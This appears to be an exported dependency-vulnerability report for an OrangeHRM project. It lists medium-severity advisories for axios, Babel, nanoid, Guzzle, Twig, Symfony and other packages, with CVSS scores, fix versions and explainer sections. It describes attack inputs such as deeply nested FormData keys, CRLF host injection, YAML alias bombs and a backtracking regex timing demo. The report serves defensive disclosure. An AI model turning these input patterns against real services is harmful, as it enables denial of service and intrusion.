axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the buildPath() function of lib/helpers/formDataToJSON.js, which recurses over bracket-delimited FormData key segments without a depth limit. An attacker can crash the Node.js process by supplying a FormData field name with tens of thousands of nested bracket segments, such as a[x][x][x]..., which exhausts the JavaScript call stack with a RangeError. Exploitation requires the application to pass attacker-controlled FormData into formDataToJSON, either by calling axios.formToJSON() on it or by sending it through axios with a JSON content type.
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

MEDIUM

Regular Expression Denial of Service (ReDoS)

Package: **@babel/runtime 7.23.9**

CVSS 6.9	CVE-2025-27789	CWE-1333	SNYK-JS-BABELRUNTIME-10044504	Exploit: Proof of Concept

Fixed in 7.26.10, 8.0.0-alpha.17

Introduced through `orangehrm-installer@1.0.0 → @ohrm/oxd@2.0.2 → date-fns@2.30.0 → @babel/runtime@7.23.9`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	6.2	Medium	`CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P`

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the replace() method in wrapRegExp.js. An attacker can cause degradation in performance by supplying input strings that exploit the quadratic complexity of the replacement algorithm.

This is only exploitable when all of the following conditions are met:

1) The code passes untrusted strings in the second argument to .replace().

2) The compiled regular expressions being applied contain named capture groups.

In the case of @babel/preset-env, if the targets option is in use the application will be vulnerable under either of the following conditions:

1) A browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10 is used when processing named capture groups.

2) A browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23 is used when processing duplicated named capture groups.

Note: The project maintainers advise that "just updating your Babel dependencies is not enough: you will also need to re-compile your code."

Workaround

This vulnerability can be avoided by filtering out input containing a $< that is not followed by a >.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:
js
regex = /A(B|C+)+D/

This regular expression accomplishes the following:
- A The string must start with the letter 'A'
- (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
- D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

bash
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation
Upgrade @babel/runtime to version 7.26.10, 8.0.0-alpha.17 or higher.
References
- [GitHub Commit](https://github

References

- GitHub Commit
- GitHub Gist
- GitHub PR

MEDIUM

Improper Encoding or Escaping of Output

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-42040	CWE-116	SNYK-JS-AXIOS-16298055	Exploit: Proof of Concept

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N/E:P`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

MEDIUM

Allocation of Resources Without Limits or Throttling

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-42034	CWE-770	SNYK-JS-AXIOS-16298130	Exploit: Proof of Concept

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

MEDIUM

Insertion of Sensitive Information Into Sent Data

Package: **axios 1.13.1**

CVSS 5.3	CVE-2026-42042	CWE-201, CWE-183	SNYK-JS-AXIOS-16299478	Exploit: Proof of Concept

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.4	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N/E:P`
CVSS 3.1	6.1	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js■. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

MEDIUM

Uncontrolled Recursion

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-67313	CWE-674	SNYK-JS-AXIOS-18060167	Exploit: Proof of Concept

Fixed in 0.33.0, 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the buildPath() function of lib/helpers/formDataToJSON.js, which recurses once per FormData key path segment without enforcing a maximum depth. An attacker can crash the process by supplying a FormData field name with thousands of nested bracket segments, such as a[x][x][x]..., which drives formDataToJSON() into recursion that exhausts the JavaScript call stack with a RangeError. Exploitation requires the application to process untrusted FormData through formToJSON() or by sending it with a JSON content type.
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-101904	CWE-1321	SNYK-JS-AXIOS-20244996	Exploit: Proof of Concept

Fixed in 1.20.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N/E:P`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via unsafe merging of user-supplied fetchOptions in lib/adapters/fetch.js. When a caller passes a fetchOptions object, axios spreads it directly into the resolved request options without sanitizing prototype-inherited properties, allowing an attacker who controls request configuration to pollute Object.prototype and influence downstream system behavior such as request routing or security-sensitive option values.

Note: This is only exploitable when the attacker can influence the fetchOptions configuration object passed to axios requests.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server

- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for exam

References

- GitHub Commit
- GitHub PR
- Maintainer's Advisory

MEDIUM

Improper Input Validation

Package: **nanoid 3.3.7**

CVSS 6.3	CVE-2024-55565	CWE-20	SNYK-JS-NANOID-8492085	Exploit: Not Defined

Fixed in 3.3.8, 5.0.9

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/compiler-sfc@3.4.19 → postcss@8.4.35 → nanoid@3.3.7`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

Affected versions of this package are vulnerable to Improper Input Validation due to the mishandling of fractional values in the nanoid function. By exploiting this vulnerability, an attacker can achieve an infinite loop.
Remediation
Upgrade nanoid to version 3.3.8, 5.0.9 or higher.
References
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Commit
- GitHub PR
- GitHub Release

MEDIUM

HTTP Response Splitting

Package: **guzzlehttp/psr7 2.6.2**

CVSS 6.9	CVE-2026-49214	CWE-113	SNYK-PHP-GUZZLEHTTPPSR7-17318030	Exploit: Not Defined

Fixed in 2.10.2

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1 → guzzlehttp/psr7@2.6.2`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`

Overview

Affected versions of this package are vulnerable to HTTP Response Splitting via the host component of a URI when constructing a PSR-7 Uri or Request. An attacker can inject arbitrary HTTP headers by supplying a crafted host value containing ASCII control characters, such as CRLF, which are then copied into the Host header and serialized in outbound HTTP requests. This can lead to the injection of additional attacker-controlled header lines, potentially enabling further attacks such as request smuggling or cache poisoning in certain deployment scenarios involving proxies, gateways, or load balancers.
Remediation
Upgrade guzzlehttp/psr7 to version 2.10.2 or higher.
References
- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

MEDIUM

Timing Attack

Package: **phpseclib/phpseclib 3.0.37**

CVSS 6.3	CVE-2026-40194	CWE-208	SNYK-PHP-PHPSECLIBPHPSECLIB-15989082	Exploit: Not Defined

Fixed in 1.0.28, 2.0.53, 3.0.51

Introduced through `orangehrm/orangehrm@0.0.0 → phpseclib/phpseclib@3.0.37`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N`

Overview

phpseclib/phpseclib is a PHP Secure Communications Library - Pure-PHP implementations of RSA, AES, SSH2, SFTP, X.509 etc.

Affected versions of this package are vulnerable to Timing Attack via the getbinarypacket function. An attacker can potentially infer sensitive information about the HMAC value by measuring response times during SSH packet processing.

Remediation

Upgrade phpseclib/phpseclib to version 1.0.28, 2.0.53, 3.0.51 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Release
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release
- GitHub Release
- GitHub Release

MEDIUM

Incorrect Comparison

Package: **symfony/polyfill-intl-idn 1.29.0**

CVSS 6.3	CVE-2026-46644	CWE-697	SNYK-PHP-SYMFONYPOLYFILLINTLIDN-16881598	Exploit: Not Defined

Fixed in 1.38.1

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/mailer@5.4.45 → egulias/email-validator@3.2.6 → symfony/polyfill-intl-idn@1.29.0`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	4.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N`

Overview

Affected versions of this package are vulnerable to Incorrect Comparison in the process() function in Idn.php, which does not necessarily treat xn-- labeled input as punycode, if it contains only ASCII. This case was overlooked in the specification until UTS 46 revision 33, when it was enforced that an error must be returned. An attacker can exploit the flawed comparison to bypass domain blocklists and perform SSRF, by supplying a malicious hostname whose punycode representation exactly matches a legitimate internal resource.
Remediation
Upgrade symfony/polyfill-intl-idn to version 1.38.1 or higher.
References
- Friends of PHP Advisory
- GitHub Commit
- Symfony Advisory

References

- Friends of PHP Advisory
- GitHub Commit
- Symfony Advisory

MEDIUM

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Package: **symfony/yaml 5.4.45**

CVSS 6.9	CVE-2026-45304	CWE-776	SNYK-PHP-SYMFONYYAML-16798664	Exploit: Not Defined

Fixed in 5.4.52, 6.4.40, 7.4.12, 8.0.12

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/yaml@5.4.45`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

Overview

Affected versions of this package are vulnerable to Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') via Recursive Collection-Alias Expansion ("Billion Laughs"). Symfony\Component\Yaml\Parser resolves YAML aliases (*anchor) during parsing. Aliases that reference collections (arrays, stdClass, TaggedValue-wrapped collections) can themselves point to other collections containing aliases, creating exponential expansion at resolution time. A small input can blow up into a multi-gigabyte structure and exhaust memory: the classic "Billion Laughs" denial-of-service against any parser exposed to untrusted YAML.
Remediation
Upgrade symfony/yaml to version 5.4.52, 6.4.40, 7.4.12, 8.0.12 or higher.
References
- GitHub Commit
- Symfony Advisory

References

- GitHub Commit
- Symfony Advisory

MEDIUM

Cross-site Scripting (XSS)

Package: **twig/twig 3.11.3**

CVSS 5.1	CVE-2026-47730	CWE-79	SNYK-PHP-TWIGTWIG-16775465	Exploit: Not Defined

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.1	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
CVSS 3.1	6.1	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
CVSS 3.1	5.4	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Twig\Profiler\Dumper\HtmlDumper output rendering logic. An attacker can execute arbitrary HTML or JavaScript by controlling template names returned by Profile::getTemplate() or Profile::getName(), which are written directly into profiler HTML output without escaping. This can lead to cross-site scripting when the profiler dump is rendered in a browser.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

* Web servers
* Application servers
* Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
* Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
* Give users the option to disable client-side scripts.
* Redirect invalid requests.
* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- GitHub Commit
- Symfony Advisory

References

• GitHub Commit
• GitHub Commit
• Symfony Advisory

MEDIUM

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 5.3	CVE-2026-46638	CWE-863	SNYK-PHP-TWIGTWIG-16776787	Exploit: Not Defined

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L`
CVSS 3.1	8.1	High	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via the deprecated {% sandbox %} include path. An attacker can bypass Twig sandbox restrictions by including a template that was previously loaded outside the sandbox, as the {% sandbox %}{% include %} flow does not re-invoke checkSecurity() for cached templates, allowing unrestricted use of filters, functions, and tags regardless of the configured sandbox policy.
Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- Symfony Advisory

References

• GitHub Commit
• Symfony Advisory

MEDIUM

Improperly Controlled Sequential Memory Allocation

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 6.9	CVE-2026-67353	CWE-1325, CWE-770	SNYK-PHP-GUZZLEHTTPGUZZLE-18306780	Exploit: Not Defined

Fixed in 7.15.1

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

Overview

Affected versions of this package are vulnerable to Improperly Controlled Sequential Memory Allocation via the CookieJar process. An attacker can exhaust system memory and cause service disruption by sending a large number of oversized Set-Cookie headers in responses, which are then stored and included in subsequent requests without proper limits. This can lead to increased memory usage, processing delays, and potential request failures when header size limits are exceeded in downstream systems. This is only exploitable if built-in cookie support is enabled, attacker-controlled responses are received, and the same jar is retained or reused.

Workaround
This vulnerability can be mitigated by not enabling a shared built-in cookie jar for requests to untrusted origins, using separate jars per host or trust boundary, disabling cookie handling for untrusted requests, discarding or clearing a jar after receiving an untrusted response, or providing a custom CookieJarInterface implementation that enforces suitable limits.
Remediation
Upgrade guzzlehttp/guzzle to version 7.15.1 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

MEDIUM

Regular Expression Denial of Service (ReDoS)

Package: **symfony/yaml 5.4.45**

CVSS 6.9	CVE-2026-45305	CWE-1333	SNYK-PHP-SYMFONYYAML-16798663	Exploit: Not Defined

Fixed in 5.4.52, 6.4.40, 7.4.12, 8.0.12

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/yaml@5.4.45`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the Parser::cleanup() function. Symfony\Component\Yaml\Parser::cleanup() strips the optional %YAML directive header, leading comments, and document start/end markers before parsing. The original regexes contained overlapping quantifiers, most notably ^%YAML[:][\d.]+.*\nu, whose [\d.]+ and .* overlap on the dot, that exhibit catastrophic backtracking on crafted input. A single oversized %YAML directive header (or comment / document-marker line) makes the parser hang for an arbitrarily long time, denying service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:
js
regex = /A(B|C+)+D/

This regular expression accomplishes the following:
- A The string must start with the letter 'A'
- (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
- D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

bash
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

